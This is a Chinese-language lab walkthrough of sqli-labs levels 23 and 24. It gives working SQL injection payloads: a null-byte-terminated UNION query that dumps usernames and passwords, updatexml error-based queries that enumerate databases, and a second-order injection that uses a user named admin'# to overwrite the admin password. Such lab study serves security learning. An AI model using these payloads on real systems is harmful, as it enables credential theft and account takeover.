LESS23
在23关我们打开源码,发现源码中已经将我们的注释符进行了替换,导致起不了作用,这里我们需要一个特殊的注释符:;%00或者and和or语句进行闭合。
第一种方法
跟前面都差不多,我就只写最后显示username和password的语句了。
输入:?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users ;%00
第二种方法:
通过报错注入
输入:?id=1' and updatexml(1,concat(0x7e,database()),1) ;%00
显示当前数据库
通过limit 逐个查询所有数据库
输入:?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 7,1)),1) ;%00
剩下步骤可以参照17关。
LESS24
知识铺垫:
二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入,可以概括为以下两步:
第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
注:我们在windows中用phpstudy环境搭建sqli-labs,解压的时候24关可能存在名称相同问题,所以需要重命名操作才能进行
1.登录普通用户admin-admin
2.首先创建一个注入的恶意用户 admin’# 密码为123456 此举目的是利用注释从而更改正常用户admin-admin 账户密码。
3.修改我们恶意用户密码为654321
4.通过admin-654321登录,发现登录成功。
最终我们发现通过恶意账户修改的新密码,我们使用admin账户登陆成功了~